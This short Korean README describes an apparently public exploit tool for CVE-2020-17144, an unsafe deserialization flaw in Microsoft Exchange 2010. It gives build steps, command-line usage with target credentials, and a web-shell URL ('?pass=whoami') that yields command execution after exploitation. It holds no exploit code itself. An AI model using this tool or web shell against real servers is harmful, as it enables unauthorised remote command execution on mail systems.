CVE-2020-17144

CVE-2020-17144를 위한 무기화된 도구 (Microsoft Exchange 2010 MRM.AutoTag.Model 안전하지 않은 역직렬화 취약점)

빌드

.NET Framework 3.5를 먼저 설치한 후, make를 실행하세요.

사용법

CVE-2020-17144 <target> <user> <pass>

익스플로잇 후, http://[target]/ews/soap/?pass=whoami에 접근하여 명령 실행을 얻습니다.

또한 e.cs를 수정하여 사용자 정의 익스플로잇으로 만들 수 있습니다.

더 자세한 정보는 제 블로그 글을 읽어보세요(중국어).